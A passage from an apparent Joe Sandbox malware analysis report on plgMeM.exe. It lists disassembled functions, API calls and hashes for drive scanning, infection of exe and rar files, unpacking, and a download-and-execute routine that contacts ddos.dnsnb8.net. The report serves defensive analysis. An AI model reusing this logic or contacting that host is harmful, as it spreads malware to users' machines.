                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
                                                            • String ID: %s*$C:\$Documents and Settings
                                                            • API String ID: 2826467728-110786608
                                                            • Opcode ID: ed8dda721a1f09eb9e12662a55d33a45112abc62a86576c61e6b19ebab19e8c4
                                                            • Instruction ID: 1b9cd20d74b73e585a6e9611e32b3e74c004023b429dc7577984ca67cc9ce771
                                                            • Opcode Fuzzy Hash: ed8dda721a1f09eb9e12662a55d33a45112abc62a86576c61e6b19ebab19e8c4
                                                            • Instruction Fuzzy Hash: CA414FB3804349EFD721EFA1DC49DEBBBACEF84715F04092AB945C2111E634D6489BB6
                                                            Function 00DB1718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65timeCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 216 db1718-db1733 GetSystemTimeAsFileTime 217 db1735-db1752 SHSetValueA 216->217 218 db1754-db1758 216->218 219 db17c6-db17cd 217->219 218->219 220 db175a-db1784 SHGetValueA 218->220 220->219 221 db1786-db17b3 call db2cf0 * 2 220->221 221->219 226 db17b5 221->226 227 db17bf 226->227 228 db17b7-db17bd 226->228 227->219 228->219 228->227
                                                            APIs
                                                            • GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe), ref: 00DB1729
                                                            • SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 00DB174C
                                                            • SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 00DB177C
                                                            • __aulldiv.LIBCMT ref: 00DB1796
                                                            • __aulldiv.LIBCMT ref: 00DB17A8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: TimeValue__aulldiv$FileSystem
                                                            • String ID: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe$SOFTWARE\GTplus$Time
                                                            • API String ID: 541852442-193832090
                                                            • Opcode ID: c866c98f64a99bc9b236d36ef9a0125b5a9c829af97653a694acc8ff0fac5a81
                                                            • Instruction ID: 254fe946e833aaabddb351d54b27c253611844c011b56fc8740f0ed7598cd2b5
                                                            • Opcode Fuzzy Hash: c866c98f64a99bc9b236d36ef9a0125b5a9c829af97653a694acc8ff0fac5a81
                                                            • Instruction Fuzzy Hash: 2F112E76A40309FBDB10DA94CC9AFEF7BBCEB44B54F508115F902A6280DA719A489B70
                                                            Function 00DB6076 Relevance: 11.1, APIs: 7, Instructions: 616memoryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 229 db6076-db6079 230 db607b-db6080 229->230 231 db60e0-db60eb 229->231 233 db6082-db6085 230->233 234 db60f7-db60f8 230->234 232 db60ee-db60f4 231->232 235 db60f6 232->235 233->235 238 db6087 233->238 236 db60fa-db60fc call db66c8 234->236 237 db60fe-db6106 234->237 235->234 236->237 240 db6108-db611d 237->240 241 db6155-db6189 VirtualFree 237->241 238->232 242 db6089-db6095 238->242 246 db611f-db6121 240->246 249 db618c-db6192 241->249 243 db60a1-db60aa 242->243 244 db6097-db609f 242->244 247 db61ba-db61c8 243->247 248 db60b0-db60c1 VirtualAlloc 243->248 244->243 250 db6123 246->250 251 db6151-db6154 246->251 254 db61ca-db61d7 247->254 255 db6243-db6251 247->255 252 db60c7-db60cf 248->252 249->252 253 db6198-db61b0 VirtualFree 249->253 250->251 256 db6125-db6128 250->256 251->241 252->249 259 db60d5-db60df VirtualAlloc 252->259 253->247 260 db61b2-db61b4 253->260 261 db61dd-db61e0 254->261 262 db6253 255->262 263 db6264-db626f 255->263 257 db612a-db612e 256->257 258 db6134-db613b 256->258 257->258 269 db6130-db6132 257->269 258->269 270 db613d-db614f 258->270 259->231 260->247 261->255 266 db61e2-db61f2 261->266 267 db6255-db6258 262->267 268 db6271-db6276 263->268 271 db61f5-db61fe 266->271 267->263 272 db625a-db6262 267->272 273 db6389-db63b1 VirtualProtect 268->273 274 db627c-db6289 268->274 269->246 270->246 276 db620c-db6219 271->276 277 db6200-db6203 271->277 272->267 275 db63b7-db63ba 273->275 284 db628b 274->284 285 db6292-db6298 274->285 278 db63fc-db63ff VirtualProtect 275->278 279 db63bc-db63c2 275->279 280 db6238-db623f 276->280 281 db621b-db6228 277->281 282 db6205-db6208 277->282 289 db6400-db6416 278->289 279->279 286 db63c4 279->286 280->271 290 db6241 280->290 281->280 287 db622a-db6236 282->287 288 db620a 282->288 284->285 291 db62a2-db62ac 285->291 286->278 292 db63c6-db63cf 286->292 287->280 288->280 293 db6418-db641d 289->293 294 db6420-db6425 289->294 290->261 295 db62ae 291->295 296 db62b1-db62c8 291->296 297 db63d1 292->297 298 db63d4-db63d8 292->298 295->296 299 db62ce-db62d4 296->299 300 db6373-db6384 296->300 297->298 301 db63da 298->301 302 db63dd-db63e1 298->302 303 db62da-db62f1 299->303 304 db62d6-db62d9 299->304 300->268 301->302 305 db63e3 302->305 306 db63e7-db63fa VirtualProtect 302->306 308 db62f3-db62f9 303->308 309 db6365-db636e 303->309 304->303 305->306 306->275 306->278 310 db62fb-db630f 308->310 311 db6314-db6326 308->311 309->291 312 db6426-db64a9 310->312 313 db6328-db634a 311->313 314 db634c-db6360 311->314 322 db64ab-db64c0 312->322 323 db6519-db651c 312->323 313->309 314->312 327 db64c2 322->327 328 db6535-db6537 322->328 325 db651d-db651e 323->325 326 db6583-db6587 323->326 330 db6522-db6533 325->330 329 db6588-db658b 326->329 333 db64f8 327->333 334 db64c5-db64cd 327->334 331 db659a 328->331 332 db6539 328->332 335 db658d-db658f 329->335 336 db65a1-db65a3 329->336 330->328 340 db659b-db659d 331->340 338 db653b-db6541 332->338 339 db65b4 332->339 343 db64fa-db64fe 333->343 344 db656c-db656f 333->344 341 db64cf-db64d4 334->341 342 db6542-db6545 334->342 337 db6591-db6593 335->337 337->340 345 db6595 337->345 338->342 350 db65be-db65db 339->350 340->337 346 db659f 340->346 347 db6517-db6518 341->347 348 db64d6-db64d9 341->348 349 db654d-db6550 342->349 351 db6572 343->351 352 db6500 343->352 344->351 345->331 346->329 347->323 348->349 353 db64db-db64f5 348->353 349->350 354 db6552-db6556 349->354 360 db65dd-db65f6 350->360 356 db6573-db6576 351->356 352->330 357 db6502 352->357 353->333 358 db6578-db657a 354->358 359 db6558-db6569 354->359 356->358 357->356 361 db6504-db6513 357->361 358->360 363 db657c 358->363 359->344 362 db65f7-db6608 360->362 361->328 364 db6515 361->364 363->362 365 db657e-db657f 363->365 364->347 365->326
                                                            APIs
                                                            • VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 00DB60BE
                                                            • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00DB60DF
                                                            • VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00DB6189
                                                            • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00DB61A5
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: Virtual$AllocFree
                                                            • String ID:
                                                            • API String ID: 2087232378-0
                                                            • Opcode ID: 973d0b9c97b766c1d67d8f8a4a563986f03cc2b8fbdbc79cc8b3dba3cd95e274
                                                            • Instruction ID: 2642e942eb88f6dd4da548d01d1d85a485a93741b49263700f7bd1816bc1f3b2
                                                            • Opcode Fuzzy Hash: 973d0b9c97b766c1d67d8f8a4a563986f03cc2b8fbdbc79cc8b3dba3cd95e274
                                                            • Instruction Fuzzy Hash: EC1212B2508785DFDB328F64CC55BEA3BF0EF02310F1845ADD98A8B292D678E911C765
                                                            Function 00DB2B8C Relevance: 10.6, APIs: 7, Instructions: 74threadstringCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 366 db2b8c-db2bc6 memset GetLogicalDriveStringsA 367 db2c09-db2c28 WaitForMultipleObjects 366->367 368 db2bc8-db2bcc 366->368 369 db2c2a-db2c3a CreateThread 367->369 370 db2c3c-db2c45 367->370 371 db2bfa-db2c07 lstrlen 368->371 372 db2bce-db2bd0 368->372 369->370 371->367 371->368 372->371 373 db2bd2-db2bdc GetDriveTypeA 372->373 373->371 374 db2bde-db2be1 373->374 374->371 375 db2be3-db2bf6 CreateThread 374->375 375->371
                                                            APIs
                                                            • memset.MSVCRT ref: 00DB2BA6
                                                            • GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00DB2BB4
                                                            • GetDriveTypeA.KERNEL32(?), ref: 00DB2BD3
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00002B7D,?,00000000,00000000), ref: 00DB2BEE
                                                            • lstrlen.KERNEL32(?), ref: 00DB2BFB
                                                            • WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00DB2C16
                                                            • CreateThread.KERNEL32(00000000,00000000,00DB2845,00000000,00000000,00000000), ref: 00DB2C3A
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
                                                            • String ID:
                                                            • API String ID: 1073171358-0
                                                            • Opcode ID: 6a552f12e4e8bb4b229f44171cec32200bc66b79e52486a71eb3c7e4dc5d15a4
                                                            • Instruction ID: 61101e01fc4ab6bac9bbe79ebb560b84f4252b4f2ba4b8a54551fe96b7adfe89
                                                            • Opcode Fuzzy Hash: 6a552f12e4e8bb4b229f44171cec32200bc66b79e52486a71eb3c7e4dc5d15a4
                                                            • Instruction Fuzzy Hash: AE219DB280024CEFE720AF64AC84DFE7B6DFF04345B180229F852D2261DB208E06DB74
                                                            Function 00DB1E6E Relevance: 30.4, APIs: 20, Instructions: 380fileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 16 db1e6e-db1e95 call db2d60 19 db1e9c-db1eaa call db1df6 16->19 20 db1e97 call db1d8a 16->20 24 db2332 19->24 25 db1eb0-db1ed9 SetFileAttributesA CreateFileA 19->25 20->19 26 db2338-db233b 24->26 25->24 27 db1edf-db1f28 call db1915 SetFilePointer CreateFileMappingA MapViewOfFile 25->27 28 db233d-db2340 UnmapViewOfFile 26->28 29 db2346-db2349 26->29 27->24 34 db1f2e-db1f39 27->34 28->29 32 db234b-db234e FindCloseChangeNotification 29->32 33 db2350-db2354 29->33 32->33 35 db2391-db239a call db2d9b 33->35 36 db2356-db235b CloseHandle 33->36 34->24 37 db1f3f-db1f56 34->37 36->35 37->24 39 db1f5c-db1f64 37->39 39->24 41 db1f6a-db1f70 39->41 41->24 42 db1f76-db1f87 call db1c81 41->42 42->24 45 db1f8d-db1fa7 call db185b call db1c81 42->45 45->24 50 db1fad-db1fb4 45->50 51 db1fb6-db1fc5 call db1af9 50->51 52 db2024-db2045 50->52 51->52 58 db1fc7-db1fd2 51->58 52->24 53 db204b-db204e 52->53 56 db2070-db20f4 call db1af9 * 2 call db1c68 * 2 memset * 2 53->56 57 db2050-db2053 53->57 78 db20f5-db20fe 56->78 60 db2056-db205a 57->60 58->24 61 db1fd8-db1fe7 58->61 60->56 63 db205c-db2061 60->63 64 db1fe9-db1fec 61->64 65 db1fef-db2006 call db1af9 61->65 63->24 67 db2067-db206e 63->67 64->65 73 db2008-db200e call db1c68 65->73 74 db2013-db201e FlushViewOfFile 65->74 67->60 73->74 74->52 79 db2130-db2139 78->79 80 db2100-db2114 78->80 83 db213c-db2142 79->83 81 db212d-db212e 80->81 82 db2116-db212a 80->82 81->78 82->81 84 db215c 83->84 85 db2144-db2150 83->85 88 db215f-db2162 84->88 86 db2152-db2154 85->86 87 db2157-db215a 85->87 86->87 87->83 89 db2181-db2184 88->89 90 db2164-db2171 88->90 93 db218d-db21ba call db1c68 89->93 94 db2186 89->94 91 db232a-db232d 90->91 92 db2177-db217e 90->92 91->88 92->89 97 db21bc-db21d0 call db1c68 93->97 98 db21d3-db220b call db1c81 call db1c68 93->98 94->93 97->98 105 db221b-db221e 98->105 106 db220d-db2218 call db1c68 98->106 108 db2220-db2223 105->108 109 db2226-db231a memcpy UnmapViewOfFile CloseHandle call db1b8a call db185b SetFilePointer SetEndOfFile SetFilePointer WriteFile * 2 call db1915 105->109 106->105 108->109 116 db231f-db2328 CloseHandle 109->116 116->26
                                                            APIs
                                                            • SetFileAttributesA.KERNEL32(?,00000080,?,00DB32B0,00000164,00DB2986,?), ref: 00DB1EB9
                                                            • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00DB1ECD
                                                            • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00DB1EF3
                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00DB1F07
                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 00DB1F1D
                                                            • FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 00DB201E
                                                            • memset.MSVCRT ref: 00DB20D8
                                                            • memset.MSVCRT ref: 00DB20EA
                                                            • memcpy.MSVCRT ref: 00DB222D
                                                            • UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB2238
                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB224A
                                                            • SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB22C6
                                                            • SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB22CB
                                                            • SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB22DD
                                                            • WriteFile.KERNEL32(000000FF,00DB4008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB22F7
                                                            • WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB230D
                                                            • CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00DB2322
                                                            • UnmapViewOfFile.KERNEL32(?,?,00DB32B0,00000164,00DB2986,?), ref: 00DB2340
                                                            • FindCloseChangeNotification.KERNEL32(?,?,00DB32B0,00000164,00DB2986,?), ref: 00DB234E
                                                            • CloseHandle.KERNEL32(000000FF,?,00DB32B0,00000164,00DB2986,?), ref: 00DB2359
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: File$CloseView$HandlePointer$CreateUnmapWritememset$AttributesChangeFindFlushMappingNotificationmemcpy
                                                            • String ID:
                                                            • API String ID: 1893444929-0
                                                            • Opcode ID: 8267d33d0b3e288d17623608715549ccf6f9f9e64e76aca98f38d50e57f7f816
                                                            • Instruction ID: 32fe2f154b7f7c2d7669b406af6ab063ac7bfafa487db655c693fd949ca358fd
                                                            • Opcode Fuzzy Hash: 8267d33d0b3e288d17623608715549ccf6f9f9e64e76aca98f38d50e57f7f816
                                                            • Instruction Fuzzy Hash: 51F13675900208EFCB20DFA8DC91AEDBBB5FF08314F50452AE51AA7661D730AE81CF64
                                                            Function 00DB1973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144filesleepmemoryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 117 db1973-db199a PathFileExistsA 118 db19a0-db19aa 117->118 119 db1ac7-db1acc 117->119 122 db19af-db19c2 CreateFileA 118->122 120 db1ace 119->120 121 db1ad0-db1ad5 119->121 120->121 123 db1af0-db1af6 121->123 124 db1ad7-db1ad9 121->124 125 db1a28-db1a36 GetFileSize 122->125 126 db19c4-db19d3 Sleep 122->126 124->123 128 db1a38-db1a3b 125->128 129 db1a87-db1a8b 125->129 126->122 127 db19d5-db1a0b call db185b wsprintfA CopyFileA 126->127 127->125 140 db1a0d-db1a26 CreateFileA 127->140 128->129 131 db1a3d-db1a51 VirtualAlloc 128->131 132 db1a8d-db1a90 FindCloseChangeNotification 129->132 133 db1a96-db1a9a 129->133 131->129 135 db1a53-db1a57 131->135 132->133 136 db1aad-db1ab1 133->136 137 db1a9c 133->137 141 db1a59-db1a6d ReadFile 135->141 142 db1a80 135->142 138 db1adb-db1ae0 136->138 139 db1ab3-db1ab6 136->139 143 db1aa0-db1aa7 DeleteFileA 137->143 146 db1ae2-db1ae5 138->146 147 db1ae7-db1aec 138->147 139->119 144 db1ab8-db1ac1 VirtualFree 139->144 140->125 145 db1a9e 140->145 141->129 148 db1a6f-db1a7e 141->148 142->129 143->136 144->119 145->143 146->147 147->123 149 db1aee 147->149 148->141 148->142 149->123
                                                            APIs
                                                            • PathFileExistsA.SHLWAPI(00DB4E5C,00000000,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe), ref: 00DB1992
                                                            • CreateFileA.KERNEL32(00DB4E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00DB19BA
                                                            • Sleep.KERNEL32(00000064), ref: 00DB19C6
                                                            • wsprintfA.USER32 ref: 00DB19EC
                                                            • CopyFileA.KERNEL32(00DB4E5C,?,00000000), ref: 00DB1A00
                                                            • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DB1A1E
                                                            • GetFileSize.KERNEL32(00DB4E5C,00000000), ref: 00DB1A2C
                                                            • VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00DB1A46
                                                            • ReadFile.KERNEL32(00DB4E5C,00DB4E60,00000000,?,00000000), ref: 00DB1A65
                                                            • FindCloseChangeNotification.KERNEL32(000000FF), ref: 00DB1A90
                                                            • DeleteFileA.KERNEL32(?), ref: 00DB1AA7
                                                            • VirtualFree.KERNEL32(00DB4E60,00000000,00008000), ref: 00DB1AC1
                                                            Strings
                                                            • C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, xrefs: 00DB197C
                                                            • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00DB19DB
                                                            • 2, xrefs: 00DB19CF
                                                            • %s%.8X.data, xrefs: 00DB19E6
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
                                                            • String ID: %s%.8X.data$2$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\plgMeM.exe
                                                            • API String ID: 2523042076-772480257
                                                            • Opcode ID: e8404af2714bcb0975a827a24042adca19cb9d78bdae91ce3ad26ef041f7622d
                                                            • Instruction ID: 17eb15e28627d8dc156da0605f5f9c43e2791623b46024f2d443804a3386c033
                                                            • Opcode Fuzzy Hash: e8404af2714bcb0975a827a24042adca19cb9d78bdae91ce3ad26ef041f7622d
                                                            • Instruction Fuzzy Hash: BA514975901219EFCB209FA8CC94AEEBBB8FF04354F544669F516E6290D330AE45DBB0
                                                            Function 00DB28B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100stringCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 150 db28b8-db28ff memset wsprintfA 151 db29db-db29df 150->151 152 db2905-db290d 150->152 152->151 153 db2913-db2919 152->153 154 db291b-db294c memset wsprintfA call db29e2 153->154 155 db2956-db2965 strrchr 153->155 158 db2951 154->158 155->151 157 db2967-db2978 lstrcmpiA 155->157 159 db297a-db2981 call db1e6e 157->159 160 db2988-db2992 lstrcmpiA 157->160 158->151 165 db2986 159->165 160->151 161 db2994-db299b 160->161 163 db29ad-db29c9 strstr 161->163 164 db299d-db29a3 161->164 167 db29cb-db29d1 call db239d 163->167 168 db29d3-db29d6 call db2692 163->168 164->163 166 db29a5-db29a7 lstrcpy 164->166 165->151 166->163 167->151 168->151
                                                            APIs
                                                            • memset.MSVCRT ref: 00DB28D3
                                                            • wsprintfA.USER32 ref: 00DB28F7
                                                            • memset.MSVCRT ref: 00DB2925
                                                            • wsprintfA.USER32 ref: 00DB2940
                                                              • Part of subcall function 00DB29E2: memset.MSVCRT ref: 00DB2A02
                                                              • Part of subcall function 00DB29E2: wsprintfA.USER32 ref: 00DB2A1A
                                                              • Part of subcall function 00DB29E2: memset.MSVCRT ref: 00DB2A44
                                                              • Part of subcall function 00DB29E2: lstrlen.KERNEL32(?), ref: 00DB2A54
                                                              • Part of subcall function 00DB29E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00DB2A6C
                                                              • Part of subcall function 00DB29E2: strrchr.MSVCRT ref: 00DB2A7C
                                                              • Part of subcall function 00DB29E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00DB2A9F
                                                              • Part of subcall function 00DB29E2: lstrlen.KERNEL32(Documents and Settings), ref: 00DB2AAE
                                                              • Part of subcall function 00DB29E2: memset.MSVCRT ref: 00DB2AC6
                                                              • Part of subcall function 00DB29E2: memset.MSVCRT ref: 00DB2ADA
                                                              • Part of subcall function 00DB29E2: FindFirstFileA.KERNEL32(?,?), ref: 00DB2AEF
                                                              • Part of subcall function 00DB29E2: memset.MSVCRT ref: 00DB2B13
                                                            • strrchr.MSVCRT ref: 00DB2959
                                                            • lstrcmpiA.KERNEL32(00000001,exe), ref: 00DB2974
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
                                                            • String ID: %s%s$%s\$C:\Users\user~1\AppData\Local\Temp\$exe$rar
                                                            • API String ID: 3004273771-4092107658
                                                            • Opcode ID: 3ec352a76e58e5f4163c5b90318eadf377093d9324289cdbf02eeb1cb9fdead6
                                                            • Instruction ID: bb2f84aaf6aa5bc71adf72c3c4177dc85781ca5ffd4a8898a7077fe7277554a7
                                                            • Opcode Fuzzy Hash: 3ec352a76e58e5f4163c5b90318eadf377093d9324289cdbf02eeb1cb9fdead6
                                                            • Instruction Fuzzy Hash: FE31A17398030CEBDF20AA65DC85FEA376C9F15750F080452F58AE2581E6B4EAC49FB0
                                                            Function 00DB1099 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 74stringsleepprocessCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 172 db1099-db10b4 173 db10ba-db10c7 172->173 174 db1199-db119c 172->174 175 db10c8-db10d4 173->175 176 db10da 175->176 177 db1184-db1190 175->177 179 db1113-db1162 call db185b wsprintfA * 2 URLDownloadToFileA 176->179 177->175 178 db1196-db1198 177->178 178->174 182 db1168-db1182 lstrlen Sleep 179->182 183 db10dc-db110d call db1000 WinExec lstrlen 179->183 182->177 182->179 183->178 183->179
                                                            APIs
                                                              • Part of subcall function 00DB185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00DB1118), ref: 00DB1867
                                                              • Part of subcall function 00DB185B: srand.MSVCRT ref: 00DB1878
                                                              • Part of subcall function 00DB185B: rand.MSVCRT ref: 00DB1880
                                                              • Part of subcall function 00DB185B: srand.MSVCRT ref: 00DB1890
                                                              • Part of subcall function 00DB185B: rand.MSVCRT ref: 00DB1894
                                                            • WinExec.KERNEL32(?,00000005), ref: 00DB10F1
                                                            • lstrlen.KERNEL32(00DB4748), ref: 00DB10FA
                                                            • wsprintfA.USER32 ref: 00DB112A
                                                            • wsprintfA.USER32 ref: 00DB1143
                                                            • URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 00DB115B
                                                            • lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00DB1169
                                                            • Sleep.KERNEL32 ref: 00DB1179
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
                                                            • String ID: %s%.8X.exe$C:\Users\user~1\AppData\Local\Temp\$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
                                                            • API String ID: 1280626985-4120842960
                                                            • Opcode ID: d6d1b9fd39b98afb61ab155c61e965750faac2849c5e76320cd2ee390e82b9ea
